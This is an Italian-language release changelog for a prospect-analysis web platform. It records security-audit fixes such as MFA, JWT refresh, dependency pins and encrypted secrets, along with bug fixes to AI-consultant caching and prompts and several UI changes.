• v2.32.0: DB schema +2 colonne; migrate.py popola grace +7d idempotente. BE mfa.py +5 funzioni + fix qr_svg viewBox. core.py +current_agent_allow_enroll. routers/auth.py +backup-codes/regenerate + verify-enroll persisti backup. FE sih-topbar.js +startMfaBanner (~110 righe). auth-guard.js +handler 403. page-user-dashboard.js +showBackupCodesStep + auto-open ?force_mfa=1. CI/CD: deploy.yml +step "Post-SFTP sync pip + migrate". Test +7 (20/20 verde).

2026-05-26 — v2.31.1 UI MFA self-service (completa AUTH-001)

Completata la UI utente del flusso MFA aperto a livello API in v2.31.0. FE: nuova card "Sicurezza account" in user-dashboard.html#panel-profilo dentro profile-card.mfa-card, mostra stato corrente via GET /api/auth/mfa/status. Bottone "Attiva 2FA" apre modal con (1) QR-code SVG inline + (2) chiave Base32 manuale con bottone copia + (3) input 6 cifre per verify-enroll. Bottone "Disattiva" apre modal che richiede password + code corrente. Modal hanno backdrop click + ESC close. page-user-dashboard.js +loadMfaStatus/renderMfaStatus/openMfaEnrollModal/renderEnrollStep1/submitEnrollVerify/openMfaDisableModal/submitMfaDisable (~190 righe). Trigger lazy: solo quando tab profilo attivata. Login challenge UI: page-login.js riscritto per gestire response {mfa_required: true}: nasconde email+password row, inserisce dinamicamente input MFA con 6 cifre (autofocus, autocomplete="one-time-code", letter-spacing per leggibilita\'), bottone "Annulla, torna al login" per reset. BE: mfa.py::qr_svg(uri, scale=5) usa segno per render SVG (zero deps, no Pillow, fail-safe se non installato). routers/auth.py::auth_mfa_enroll ritorna qr_svg nella response (string SVG inline, None se segno non installato). Pin segno>=1.6,<2 aggiunto. Lockfile rigenerato. Test: test_security_audit_tier3_mfa.py::test_enroll_returns_seed_and_uri esteso per verificare presenza qr_svg con segno installato; gli altri 12 test invariati 13/13 verde.

• v2.31.1: FE user-dashboard.html +mfa-card + 2 modal (~80 righe HTML + ~120 righe CSS). page-user-dashboard.js +~190 righe MFA flow. page-login.js riscritto per challenge handling (~90 righe). BE mfa.py +qr_svg. Pin segno>=1.6,<2 + lockfile rigenerato. Test +1 assertion in tier3_mfa, 13/13 verde.

2026-05-26 — v2.31.0 Security Tier 3 + Trivy v-tag hotfix (AUTH-001 MFA TOTP)

Terzo blocco remediation audit Venturini — chiusura AUTH-001 (Alta non bloccante, scadenza 60gg). Schema: agents +3 colonne (mfa_secret String(64), mfa_enabled Boolean, mfa_enrolled_at DateTime); SQLAlchemy auto-crea ALTER TABLE su MySQL prod via lifespan startup (Base.metadata.create_all). Modulo: nuovo mfa.py top-level con generate_seed() (32 byte base32, 160 bit), provisioning_uri(seed, email) compatibile Google Authenticator/1Password/Authy/Microsoft, verify_code(seed, code, valid_window=1) tolerance 90s clock skew. Import lazy di pyotp (graceful 501 se non installato). Endpoint in routers/auth.py: POST /api/auth/mfa/enroll ritorna seed temporaneo + provisioning URI (seed NON persistito finche' non confermato); POST /api/auth/mfa/verify-enroll {seed, code} persiste in DB + set mfa_enabled=True; POST /api/auth/mfa/disable {password, code} richiede ENTRAMBI (defense contro furto sessione); GET /api/auth/mfa/status stato corrente. Login challenge: auth_login ora controlla agent.mfa_enabled; se attivo + body senza mfa_code ritorna {mfa_required: true, email} SENZA token (challenge); se mfa_code sbagliato 401 + log login_mfa_failed. Pin: pyotp>=2.9,<3 aggiunto in requirements_fastapi.txt; requirements.lock rigenerato. Hotfix Trivy: aquasecurity/trivy-action@0.36.0 → @v0.36.0 (la repo usa solo tag v-prefixed). Test: nuovo tests/test_security_audit_tier3_mfa.py 13 test (3 modulo + 3 enroll + 4 login challenge + 2 disable + 1 status). 13/13 verde. Totale audit chiusi code-side in giornata: 14/21 finding (9 Tier 1 + 4 Tier 2 + 1 Tier 3). Rimangono 7 governance/contratti.

• v2.31.0: BE nuovo modulo mfa.py, 4 endpoint MFA, login challenge integrato, 3 colonne nuove agents. CI: Trivy @0.36.0→@v0.36.0. Pin pyotp>=2.9,<3 + lockfile rigenerato. Test +13. Zero modifiche FE in questa release (widget profilo per attivazione self-service via QR-code arriva in v2.31.x successiva).

2026-05-26 — v2.30.1 Security Tier 2 + hotfix CI (DATA-001/002, SCRAPE-001, DEP-006)

Secondo blocco remediation audit Venturini 2026-05-26. DATA-001: nuovo workflow .github/workflows/prune-activity-log.yml daily 03:30 UTC esegue python3 manage.py prune-activity-log --days 180 via SSH paramiko. Concurrency group dedicato (no race). Idempotente. GDPR Art. 5(1)(c) + ACN 283727/2025. DATA-002: nuova classe db._SecretsCrypto wrapper Fernet, lazy-init dal env SIH_SECRETS_MASTER_KEY. get_secret decifra trasparente con prefix fern:, set_secret cifra on write. Backward-compat: senza chiave i secret restano plaintext con warning; con chiave settata + secret cifrato in DB ma chiave assente, get_secret solleva RuntimeError. Migrazione idempotente via manage.py secrets-encrypt. SCRAPE-001: nuova db.prospects_evict_old_raw_data(days=30) + comando manage.py evict-raw-data --days N + workflow weekly .github/workflows/evict-raw-data.yml domenica 04:00 UTC. Setta raw_data=NULL su prospect con last_updated_at < now - 30d; colonne denormalizzate restano e refresh on-view. Google ToS Section 3.2.3(a). DEP-006: generato requirements.lock (1241 righe, hash SHA256) via python3 -m piptools compile --generate-hashes. Dockerfile builder ora pip install --require-hashes -r requirements.lock. Nuovo CI step "Lockfile sanity check" verifica coerenza manifest. HOTFIX CRITICO: (1) deploy.yml aquasecurity/trivy-action da 0.28.0 (inesistente, root cause dei 4 deploy falliti consecutivi da v2.29.0 del 21/05) a 0.36.0. (2) tests/test_seozoom_provider.py::test_endpoint_keyword_research_uses_seozoom riscritto per tracciare TUTTE le chiamate fake_get invece di sovrascrivere captured ad ogni call (post-v2.21.12 il provider chiama prima action=related poi N action=metrics per arricchimento, l'ultima call era sempre metrics). 25/25 SEOzoom verdi. Test pre-esistente bloccava CI/CD pipe da settimane. RUNBOOK: 3 nuove sezioni (Fernet setup+rotation, raw_data TTL, lockfile rigeneration). Test: nuovo tests/test_security_audit_tier2.py 7 test (3 Fernet encrypt/decrypt/migrate idempotent + 1 noisy-failure + 3 raw_data TTL).

• v2.30.1: BE db.py +_SecretsCrypto+prospects_evict_old_raw_data+secrets_migrate_to_encrypted (~115 righe). CI/CD lockfile gate + Trivy 0.28.0→0.36.0. Dockerfile --require-hashes. Nuovi: requirements.lock (1241 righe), 2 workflow GH Actions, tests/test_security_audit_tier2.py (7 test), manage.py +2 comandi, RUNBOOK.md +3 sezioni. Hotfix tests/test_seozoom_provider.py sblocca CI/CD.

2026-05-26 — v2.30.0 Security hardening Sprint 4 (audit Venturini 2026-05-26)

Primo blocco di remediation dal Security Sign-Off PSI_SEC_SW_SIH_Custom_ALL-C v1.2 (Francesco Venturini, esito "Approvato con condizioni" su baseline 65af3db). 9 finding chiusi in questa release. SEC-NEW-010 (Alta, bloccante) auth admin su routers/system.py::cache_stats+cache_purge via Depends(require_admin); rimuove DoS economico se attaccante bypassa Basic Auth edge SiteGround (rettifica 2026-07-26: quel Basic Auth non e' mai esistito, quindi non c'era nulla da bypassare e l'esposizione era diretta — vedi v2.45.0). DEP-001 (Alta, bloccante) python-jose pin >=3.5,<4 chiude CVE-2024-33663 (algorithm confusion ECDSA) + CVE-2024-33664 (DoS JWE). NOTA: il code-side era gia' protetto da jwt.decode(..., algorithms=['HS256']) whitelist in auth.py:107,217 — widening del pin e' belt-and-suspenders. DEP-002 starlette >=1.0,<2 chiude CVE-2025-62727 O(n2) DoS Range header su FileResponse. DEP-003 requests >=2.34,<3 chiude CVE-2026-25645 temp file reuse. DEP-004 paramiko >=4,<6 chiude CVE-2026-44405 SHA-1 (uso confinato a deploy scripts). DEP-005 .github/workflows/test.yml pip-audit ora continue-on-error: ${{ github.ref != 'refs/heads/main' }}: blocca merge su main, soft su feature branch. DEP-007 nuovo .github/dependabot.yml con 3 ecosystem (pip + github-actions + docker) settimanale lunedi 06:00 Europe/Rome, group minor/patch, ignore major, max 10/5/3 PR per ecosystem. DEP-008 step Trivy fs scan in deploy.yml tra pytest gate e SSH key: severity=HIGH,CRITICAL, ignore-unfixed=true, exit-code=1, vuln-type=os,library. AUTH-003 JWT TTL default 168h→24h in auth.py:JWT_EXPIRE_HOURS + nuovo _sliding_refresh_if_due(claims, agent, response) chiama create_token e set sih_token cookie + header X-Auth-Token-Refresh se exp - now < JWT_REFRESH_THRESHOLD_HOURS (default 8h). Wiring via core.py::current_agent(request, response: Response=None) + auth.get_current_agent(request, response). UX: sessione attiva non viene mai loggata fuori (refresh ogni request quando <8h alla scadenza); abbandonata 24h→logout. Test: nuovo tests/test_security_audit_2026_05_26.py 9 test (6 SEC-NEW-010 + 3 AUTH-003), 9/9 verde. Pre-esistenti 80/80 verde su test_auth/test_admin. Pin cryptography>=42,<46 aggiunto come dep esplicita per DATA-002 Fernet (Tier 2 prossima release).

• v2.30.0: 1 endpoint hardening (system.py); 4 widening pin (requirements_fastapi.txt); 2 CI/CD gate (test.yml + deploy.yml) + nuovo dependabot.yml; 1 feature auth (sliding refresh in auth.py + core.py). 9 test nuovi. Zero modifiche FE/schema/migration.

2026-05-26 — v2.29.3 Fix stampa audit da Mac (#213) + categorie IT (#215)

Batch di 2 bug fix non-admin chiusi nello stesso bump. #213 (Gianluca, alta) «non riesco a stampare da Mac» su 06-diagnosi-proposta.html: le due funzioni di stampa (dp_printAuditOnly ~3180 e la stampa proposta ~4263 in page-06-diagnosi-proposta.js) facevano w.document.write(...) ; w.document.close(); setTimeout(w.print, 300-400). Su Safari Mac il timing è racy — il documento non è renderizzato e w.print() stampa vuoto; inoltre serve w.focus(). E if (!w) return; falliva silenziosamente quando il popup blocker si attivava. Fix: due nuovi helper top-level in page-06-diagnosi-proposta.js — _dp_alertPopupBlocked() con istruzioni per sbloccare popup su Safari/Chrome Mac, e _dp_finalizePrintWindow(w) che attende load event (fallback timeout 1500ms) prima di w.focus() + w.print(). Entrambe le call site (dp_printAuditOnly::proceed e funzione di stampa proposta) ora usano gli helper. #215 (Tommaso, media) «categorie top in inglese» in user-dashboard.html#performance: la funzione label() in sih-category-it.js aveva una passthrough heuristic che ritornava il valore as-is quando iniziava con maiuscola e non aveva underscore. I display name Places «Wedding venue», «Swimming pool», «Wellness center» saltavano il lookup nel CATEGORY_IT_MAP. Fix: refactor label() per provare SEMPRE prima il match nel mapping (normalizza lowercase + spazio→underscore); passthrough solo se non trovato nel mapping. Aggiunte 6 nuove entry al mapping (wedding_venue, banquet_hall, event_venue, swimming_pool, wellness_center, sauna). Smoke test in node: tutti i casi conosciuti restano IT, i 3 di Tommaso ora si traducono. #214 (Sergio) chiuso educational: Places API non restituisce websiteUri per il GBP del cliente (data limit, non bug). #216 (Tommaso UX) separato, in attesa approvazione Giuseppe.

• v2.29.3: FE page-06-diagnosi-proposta.js +_dp_alertPopupBlocked+_dp_finalizePrintWindow (~25 righe) + 2 call site refactored. sih-category-it.js label() riscritta (~12 righe) + 6 nuove entry mapping. Zero BE/schema/test changes.

2026-05-26 — v2.29.2 Strip «Gancio commerciale» dal PDF dell'audit

Richiesta Giuseppe: la sezione ### Gancio commerciale dei brief AI è uso interno dell'agente, non va consegnata al cliente. Da v2.21.8 l'audit stampato (page-06-diagnosi-proposta.js::_dp_buildFullAuditHtml) include in coda i brief cached delle personas che hanno quella sezione: local_seo_expert, seo_expert, social_strategist, competitive_analyst, narratore_audit. Fix: nuovo helper top-level _dp_stripGancioCommerciale(text) in page-06-diagnosi-proposta.js (~3777, sopra _dp_sanitizeAiText). Scorre il markdown line-by-line, trova il primo heading #{1,4} Gancio commerciale (regex case-insensitive con \b boundary), salta tutte le righe fino al prossimo heading di livello equivalente o superiore (regex ^#{1,4}\s+\S) o fino a EOF. Idempotente: se la sezione non c'è ritorna input invariato. Wiring in _aiBriefBlock (nested in _dp_buildFullAuditHtml, gia' print-only): applica _dp_stripGancioCommerciale a br.text prima di passarlo a _dp_sanitizeAiText; se dopo lo strip briefText è vuoto, ritorna stringa vuota (no print-section orfana). On-screen invariato: i pannelli AI degli step 2/3/4/5 hanno il loro rendering, non passano per _aiBriefBlock. Quindi l'agente continua a vedere il Gancio commerciale durante l'analisi. Zero modifiche BE/schema/test/cache: solo FE puro.

• v2.29.2: FE page-06-diagnosi-proposta.js +_dp_stripGancioCommerciale (~17 righe) + wiring in _aiBriefBlock (~4 righe). Zero altre modifiche.

2026-05-21 — v2.29.0 Local-first competitor enrichment (LF top-4 + Places + filtro siti + SEOzoom)

Su proposta Giuseppe: i competitor SEOzoom (domain-based) su business local sono spesso fuori target (portali nazionali, business in altre citta', siti di settore). I consulenti AI prendevano abbagli. Soluzione: per persone seo_expert / gbp_consultant / social_strategist / commercial_director / ava_coach, competitor SEOzoom → competitor LF + arricchimento Places + SEOzoom solo per chi ha sito reale. Backend nuovo helper routers/external.py::_enrich_local_competitors(scan_competitors, max_n=4). Cache 24h in-memory _PLACES_DETAILS_CACHE. Per ogni competitor (max 4): (1) Places Details GET con field-mask id,displayName,websiteUri,primaryType,primaryTypeDisplayName,types,formattedAddress + languageCode=it, (2) _is_real_site_host() con blacklist _NOT_REAL_SITE_HOSTS (~25 host: social FB/IG/TikTok/LinkedIn/X/YT/Pinterest, portali PagineGialle/TheFork/TripAdvisor/Yelp/Foursquare, Linktree/Beacons, deep links wa.me/t.me, Wix/Sites.google), (3) per chi ha sito reale chiama seozoom_call('metrics', {'domain': X}) via _seozoom_resolve_domain + _seozoom_to_overview, (4) bundle shape {name, place_id, solv, arp, rating, reviews, address, website, category, seo: {available, da, kw_total, traffic_est} | {available:false, reason}}. Parallelo via ThreadPoolExecutor(max_workers=4) timeout 20s. Latenza tipica ~800ms 4 competitor parallelo (cache hit istantaneo). Wiring in /ai/interpret prima di _ai_hash: enrichment + data_in['competitors_local']. Per seo_expert oscura seo.competitors=[]. Prompts: nuova costante _LOCAL_COMPETITORS_RULES iniettata nei 4 system prompts; AVA ha paragrafo dedicato + esposizione in _ava_data_status. Costo: ~$0.07 Places per analisi (4 unita'), SEOzoom abbordabile. Hash payload diverso → cache miss naturale, no invalidation esplicita necessaria. Deploy in maintenance mode ~5 min.

• v2.29.0: BE helper _enrich_local_competitors (Places + SEOzoom parallelo cache 24h, blacklist 25 host) + wiring in /ai/interpret + 5 persone (seo_expert/gbp_consultant/social_strategist/commercial_director/ava_coach) con _LOCAL_COMPETITORS_RULES condivisa. Zero modifiche FE/schema/test.

2026-05-21 — v2.28.5 Consulente SEO senior: perimetro rigoroso (no piu' GBP nel brief SEO)

Bug Giuseppe: brief Consulente SEO senior su prospect pedagogista (aperto dallo Storico, no Places Details fresh) listava come "criticita' principali" leve GBP — "0 foto, orari NON configurati, categoria primaria generica" — falso (Spinelli ha categoria reale "Pedagogista", foto/orari su Google esistono) e comunque fuori perimetro per un consulente SEO. Root cause: page-03-web-seo.js::_collectSeoData costruiva sempre data.gbp = {available:true, photos_count: totalPhotos || 0, weekdays_configured: weekdays.length, primary_category: primaryCat || ''}. Per prospect aperti dallo Storico sih_scan_business non e' valorizzato e i fallback ritornano 0/[]/"Consulente". Il modello legge come dati reali (il prompt v2.28.4 dice esplicitamente "se photos_count=0 allora zero foto davvero"). Fix in 2 layer: (1) page-03::_collectSeoData nuovo guard gbpHasFreshSignals. Solo se totalPhotos>0 OR weekdayDescriptions.length>0 OR primaryTypeDisplayName presente, il blocco rimane available:true. Altrimenti available:false con reason. (2) ai_personas.py::SEO_EXPERT system nuova sezione "PERIMETRO RIGOROSO — TU SEI CONSULENTE SEO, NON GBP". Lista esplicita di leve fuori-perimetro: foto scheda, orari scheda, categoria primaria, descrizione owner, post GBP, attributi, risposte recensioni. REGOLA: non inserire nelle criticita' o priorita' anche se gbp.* mostra zero/vuoto. Se gbp.available:false → max UNA frase tipo "il consulente GBP allo step 2 puo' approfondire". Se available:true → cita solo has_website + has_phone come ponte con salute SEO. Cache invalidation: DELETE /api/admin/ai-cache?persona=seo_expert → 58 brief vecchi cancellati. Zero modifiche BE/schema/test.

• v2.28.5: page-03 payload SEO con guard gbpHasFreshSignals (gbp.available:false se no fresh data). seo_expert system prompt +sezione PERIMETRO RIGOROSO che esclude esplicitamente foto/orari/categoria/owner/post GBP. 58 brief cache invalidati.

2026-05-21 — v2.28.3 Ghost-prospect hotfix definitivo (guard esteso + DB cross-check)

Segnalato da Giuseppe dopo v2.28.0: aprendo Spinelli dallo Storico e passando a step 3 Web&SEO, comparivano dati Yard Restaurant (cache SEO yardrestaurant.it veniva idratata invece di quella Spinelli). Console: Using cached SEO data for www.yardrestaurant.it. Root cause: sih-prospect-guard.js v2.25.0 faceva consensus check su sih_prospect_id vs sih_proposal_data.prospect_id vs sih_prospect_selected.id, MA _vl_buildProposalBase (page-02) non scriveva prospect_id top-level. Quindi pdPid ritornava null e il check (value === target || value === null) passava sempre. Il guard non scattava nemmeno quando il payload conteneva dati di un altro prospect. Fix in 3 layer: (1) page-02::_vl_buildProposalBase ora aggiunge prospect_id (letto da localStorage sih_prospect_id) + prospect_place_id top-level + business.place_id esplicito. Tutte le scritture nuove diventano deterministiche. (2) sih-prospect-guard.js esteso: nuovo helper _readPlaceIdFromLs(key) + collezione placeIds da 3 chiavi prospect-specific (sih_proposal_data.business.place_id, sih_prospect_selected.place_id, sih_scan_business.place_id). Se >=2 con place_id diversi tra loro → cleanup. Anche senza targetPid (URL pulito + sih_prospect_id assente) il check place_id-consistency scatta se trova divergenza. (3) DB cross-check finale: dopo consensus locale OK (caso comune), il guard fa GET /api/prospects/{targetPid} e confronta prospect.place_id !== localPlace → mismatch → cleanup + refetch da DB. +1 fetch/page-load (~150ms HTTP/2 keep-alive), in cambio del fix definitivo. Errori (4xx/5xx/fetch failure) → best-effort return. Pattern cleanup invariato: _clearProspectKeys() + setItem 3 chiavi sane. Deploy in maintenance mode ~5 min. Zero modifiche BE/schema/test.

• v2.28.3: page-02 persiste prospect_id+place_id top-level, guard cross-step verifica place_id consistency tra 3 chiavi locali + DB lookup finale. Mai piu' dati ghost.

2026-05-21 — v2.28.2 Consulenti AI spostati in fondo a ogni step

Su proposta Giuseppe: i consulenti AI rubavano l'attenzione in cima a ogni step e spingevano click esplorativi che bruciavano chiamate Anthropic senza che l'agente avesse prima letto i dati. Doppio costo: spese AI + agenti meno autonomi nell'interpretare i numeri. Soluzione UX a costo zero: spostare i blocchi consulente_opus + AVA in fondo a ogni step, sopra la nav-bar che porta al prossimo step. Modifiche per step: 02-visibilita-locale.html: #gbpConsultantCard + [data-ava-step="2"] rimossi dalla posizione sotto la biz-context strip, reinseriti prima della nav-bar. 03-web-seo.html: #sectionAiInterpret + [data-ava-step="3"] rimossi dalla posizione sotto l'hero, reinseriti dopo la chiusura di #seoContent e prima della nav-bar (estratta dall'interno di seoContent per ospitare i consulenti dopo). 04-social.html: #socialStrategistCard + [data-ava-step="4"] rimossi dalla posizione sopra il form scan, reinseriti prima della nav-bar. 05-competitor-intelligence.html: solo [data-ava-step="5"] spostato dalla cima (l'Analista Competitor era gia' in posizione corretta tramite render runtime dopo click «Confronta»). 06-diagnosi-proposta.html: #dpAiBriefing (con tutti i suoi 3 bottoni Direttore + Obiezioni + Invio rapido + confirm box + output) e [data-ava-step="6"] rimossi dalla posizione sotto il context-strip, reinseriti dopo le sezioni scorecard/catalogo/proposta e prima della nav-bar. Zero modifiche FE alle funzioni di submit; zero modifiche BE. Logica e payload identici a v2.28.1. JSON manifest sih-release-highlights.json aggiornato con entry v2.28.2 + v2.28.0 + v2.27.0 per popup release-highlights post-reload. Deploy in maintenance mode per ~5 min.

• v2.28.2: 5 HTML modificati. Logica/payload AI invariati. Solo riposizionamento DOM dei blocchi consulente + AVA. Manifest popup aggiornato con 3 highlight.

2026-05-21 — v2.28.0 Anti-cross-prospect guard nei consulenti AI

Bug critico segnalato da Giuseppe: il Consulente SEO Senior e il Direttore Commerciale producevano brief con dati di un prospect precedente (Room Fitness Torino) mentre l'agente stava analizzando un nuovo prospect (Yard Restaurant Verona). Root cause: ghost-prospect bug — proposalData.prospectId rimaneva su 296 (vecchio) mentre proposalData.business era aggiornato a Yard (place_id ChIJP68xdk9ff0cRoKUTQrF_O9g). Il backend salvava AiInterpretation con prospect_id=296 + testo Yard, e successivamente cache hit cross-prospect (filter_by(prospect_id=296, persona, data_hash) trovava il brief vecchio di Room e lo ritornava). Fix 3-layer + cleanup: (1) BE guard in routers/external.py::ai_interpret: prima di filter cache e save, se data.business.place_id e' presente fa lookup Prospect.filter(place_id=X, owner_agent_id=agent.id) (admin fallback senza vincolo owner). Se trovato e id diverso da prospect_id passato, sovrascrive prospect_id con il valore corretto e logga ai_interpret_pid_corrected in ActivityLog con meta {sent, used, place_id, reason}. (2) FE: 7 call site aggiornati per includere business.place_id nel payload: page-02::runGbpConsultant + runSentimentAi, page-03::_collectSeoData, page-04::_socialBuildPayload, page-05::confirmBrief, page-06::_collectCommercialData, sih-ava.js::_buildDataForStep. Pattern uniforme: place_id: business.place_id || business.placeId || business.id || ''. (3) Cleanup DB: cancellate 3 righe ai_interpretations inquinate (id 223 ava_coach sito, 224 social_strategist, 225 ava_coach social) tutte con prospect_id=296 ma testo Yard. Bonus collaterale: cancellata anche id 226 commercial_director Room Fitness legit per errore — Giuseppe la rigenerera' (1 click). Smoke test live OK: POST /ai/interpret con prospect_id=296 + business.place_id Yard → server logga ai_interpret_pid_corrected sent=296 used=297 reason=place_id_mismatch e salva con prospect_id=297. Zero modifiche schema/migration. Deploy in maintenance mode per ~8 min.

• v2.28.0: BE guard anti-cross-prospect via place_id source-of-truth + 7 call site FE allineati + cleanup 3 brief inquinati. Audit log ai_interpret_pid_corrected. Zero schema/migration.

2026-05-21 — v2.27.x Avatar consulenti AI + AVA sotto consulenti + rimossa strip bizContext step 3/4/5

Rollup minor consecutive (no doc update per richiesta esplicita). v2.27.1 fix copy AVA (rimosso "in italiano semplice", nuovo CTA «Richiedi l'intervento di A.V.A.», hint «funziona meglio se hai consultato il consulente verticale»). v2.27.2/.3 avatar A.V.A. (foto AI olografica da sentineltech.it/ava.png, crop 80% + maschera anti-alias + 160x160, montato 88x88). v2.27.4/.5/.6/.7 avatar consulenti GBP/SEO/Social a 88x88 (stesso treatment); AVA spostata SOTTO i consulenti Opus in step 2/3/4 cosi' legge i brief verticali prima di raccontare. v2.27.8 rimosse strip biz-context/bizHeader in step 3/4/5 (ripetizione dati prospect superflua). v2.27.9 avatar Direttore Commerciale 88x88 in header brief commerciale step 6.

• v2.27.0 → v2.27.9: serie minor avatar AI + rifiniture UX. Nessuna doc per richiesta esplicita.

2026-05-21 — v2.27.0 Sezione «Le mie comunicazioni» in user-dashboard

Idea Giuseppe nello stesso scambio del modal v2.26.4: la campanella mostra solo le ultime 10 non lette, manca posto per storico completo. Feature triple: BE: routers/notifications.py::notifications_me esteso con 3 nuovi query param offset (paginazione), type (filtra per tipo, valori da _NOTIF_TYPES; tipo sconosciuto → filtro inerte che ritorna 0 invece di 400), q (ricerca testuale ILIKE su title+body, escape % e _, cap 200 char). Backward-compat: parametri opzionali, default behavior invariato. Risposta include nuovi campi offset + limit per FE. unread_count ignora i filtri (resta coerente col badge campanella). total rispetta i filtri (per paginare set corrente). FE: nuovo sih-my-comms.js (~430 righe ES5, IIFE singleton, pattern copiato da sih-my-tickets.js). Mount su <div id="myCommsMount">. UI: section collassabile (chiusa di default su user-dashboard.html, opt-in con data-open="true") + toggle con badge totale viola + badge rosso «N da leggere» quando ci sono unread. Body: pill filter tipo (Tutte/Annunci/Ticket/Sistema/Altro), input search con debounce 300ms, checkbox «Solo da leggere», bottone «Segna tutte come lette» (hidden se 0 unread). Lista card compatte con dot colore-tipo + tag tipo + title (con ellipsis) + unread dot + body preview clamp 2 righe + relative time. Click su card: markRead ottimistico + POST /api/notifications/{id}/read + SIH_Notifications.refresh() + apertura SIH_Notifications.showModal(notif) (esposto da sih-notifications.js come public API in chiusura di IIFE). Paginazione PAGE_SIZE=20 via bottone «Carica altre N» in fondo (testo dinamico min(PAGE_SIZE, remaining)). Sync con campanella: ogni mark-read (singolo o all) chiama SIH_Notifications.refresh() cosi' il badge in topbar si aggiorna immediatamente. Wire: include sih-my-comms.js + mount point in user-dashboard.html tab Profilo sotto il widget ticket. Aggiunto a FILES di deploy_fastapi.py. Mobile: media query ≤480 padding ridotti, search full-width, card compatte. Print: hidden. Riuso: showNotifModal di sih-notifications.js esposto come SIH_Notifications.showModal (1 riga), zero duplicazione codice modal. Sicurezza: tutti gli endpoint usano current_agent (JWT), nessun escalation cross-agente. Zero schema/migration. Test: TODO (widget genera fetch-only, copertura E2E manuale).

• v2.27.0: routers/notifications.py +3 query param (offset/type/q) backward-compat; sih-notifications.js espone showModal public API; sih-my-comms.js nuovo widget ~430 righe; user-dashboard.html +1 include +1 mount; deploy_fastapi.py +1 file. Zero schema/migration.

2026-05-21 — v2.26.4 Modal dettaglio comunicazioni nelle notifiche

Segnalato da Giuseppe subito dopo l'invio della notifica broadcast A.V.A.: il click su una notifica con un body lungo (~890 char) faceva location.href = link immediato senza far leggere il contenuto. Pattern desiderato: modal "tipo ticket" che mostra il body completo prima di redirigere. Fix in sih-notifications.js::onItemClick: prima di redirigere, recupera la notifica dall'array _notifications (match per id), valuta body.length > 80. Se sopra soglia → showNotifModal(notif) + return (niente jump). Sotto soglia → comportamento attuale (jump diretto se link, altrimenti solo close). Nuova funzione showNotifModal(notif): crea overlay .sih-notif-modal-overlay fixed inset:0 con backdrop scuro rgba(15,23,42,.55) + card centrata 560px max-width. Header: icona campanella in cerchio gradient viola + title + meta relative-time + close button (X). Body: white-space:pre-wrap;word-break:break-word per rendere newline correttamente. Footer: bottone secondary "Chiudi" sempre + bottone primary contestuale solo se link presente. Etichetta primary contestuale: derivata da basename URL via switch su guida.html/scopri.html/changelog.html/roadmap.html/docs.html/user-dashboard.html/admin.html; fallback "Apri il ticket" se url contiene ticket/feedback, "Apri" default. Chiusura modal: click su overlay (target===overlay) + tasto Esc + X + bottone Chiudi. Focus restore al document.activeElement precedente. Lifecycle: animazione in/out con requestAnimationFrame + setTimeout(180ms) per cleanup DOM dopo transition. Singleton: _modalEl con close idempotente. Stile coerente con design system (purple gradient #7C3AED-#A855F7). Mark-as-read avviene SEMPRE prima del modal/jump (logica precedente intatta), cosi' lo stato unread non resta inconsistente anche se l'utente chiude il modal senza aprire il link. Zero modifiche BE. File touched: sih-notifications.js (+~155 righe: CSS ~30 + funzione modal ~80 + modifica handler ~15).

• v2.26.4: sih-notifications.js nuovo modal dettaglio per notifiche con body >80 char + bottone primary contestuale (etichetta derivata da URL) + chiusura via overlay/Esc/X/bottone. Mark-as-read sempre eseguito. Notifiche brevi (es. feedback_resolved) mantengono jump immediato.

2026-05-21 — v2.26.1 Allineamento docs: capitolo A.V.A. in guida.html + lock 7gg in scopri.html

Pulizia editoriale su segnalazione Giuseppe. (1) guida.html: non aveva ancora un capitolo dedicato ad A.V.A. (introdotta in v2.23.0). Aggiunto nuovo capitolo "★ A.V.A. — il tuo coach AI" tra il cap.2 (flusso 6-step) e il cap.3 (Racconto narrativo). Per non rinumerare i capitoli successivi (cambierebbe gli anchor #cap-N-* e rompere i bookmark esterni), usato id #cap-2b-ava e label TOC con stellina viola al posto del numero progressivo. Capitolo contiene: dove A.V.A. compare (step 2-6 Completa), come funziona (bottone + cache 60gg + Rigenera), differenza vs consulenti verticali (prosa colloquiale vs brief tecnici strutturati), integrazione brief consulenti (cached_briefs read + suggerimento se mancano), gestione dati mancanti (regola anti-drammatizzazione), identita' AI esplicita (i puntini), costo (incluso, Sonnet, caching). Aggiunto callout finale con consiglio operativo: cliccare A.V.A. nello step 6 dopo aver completato l'analisi per avere la sintesi finale pre-appuntamento. (2) scopri.html: tile in cima alla pagina <div class="num-cell"> con data-count="3" data-suffix="gg" + label "Lead protetti" era rimasto fermo a 3 da prima di v2.20.6 che aveva esteso il lock a 7 giorni. Corretto a data-count="7". Le altre menzioni 7gg in scopri.html erano gia' allineate. Zero modifiche FE/BE/test.

• v2.26.1: pulizia editoriale 2-fix. guida.html +nuovo capitolo #cap-2b-ava (~50 righe HTML in stile guida-section) + voce TOC sidebar con stellina viola (~1 riga). scopri.html riga 1414 data-count="3" → "7". Zero codice tocco.

2026-05-21 — v2.26.0 Fix categoria definitivo + sottotitolo A.V.A. nel logo

Segnalato da Giuseppe: A.V.A. su "Pedagogista Parma" rifletteva categoria "Consulente" e produceva consigli su keyword sbagliate. Root cause: la categoria su Google e' corretta (Pedagogista), ma page-02::vl_saveProspectToDB al primo salvataggio si trovava biz.primaryTypeDisplayName vuoto in oggetti che arrivavano dalla card lista (non Details completo) → fallback su vl_categoryIt(biz.types[0]) che per quel place ritornava "Consulente". Fix completo (1+2+3+sottotitolo): (1) Salvataggio FE intelligente: nuova funzione async vl_resolveCategoryFreshIfGeneric(biz) in page-02-visibilita-locale.js. Se categoria attualmente disponibile e' vuota o in blacklist generica, fa POST /api/details per il place_id e legge primaryTypeDisplayName.text fresco. Se fresh e' specifico → usa quello. Se anche fresh e' generico → mantiene attuale. vl_saveProspectToDB ora ritorna una Promise wrapped che attende la risoluzione async della categoria prima del POST /api/prospects. Blacklist centralizzata in sih-category-it.js espone SIH.CATEGORY_IT.isGeneric(s) + SIH.CATEGORY_IT.GENERIC array (16 valori: 8 raw types Places consultant/establishment/point_of_interest/business/store/service/general_contractor/professional, 8 display IT consulente/attivita'/centro/studio/attivita commerciale/consulenza/servizio). (2) Endpoint admin retroactive enrichment: routers/admin.py nuovo GET /api/admin/prospects/categories-stats ritorna conteggi total/with_specific_category/with_generic_category/without_category + generic_breakdown Counter dei 20 valori generici piu' frequenti; nuovo POST /api/admin/prospects/enrich-categories body {limit:50, dry_run:true} itera prospect con categoria generica, chiama Google Places v1 con field-mask primaryType,primaryTypeDisplayName+languageCode=it, aggiorna se il fresh e' specifico. 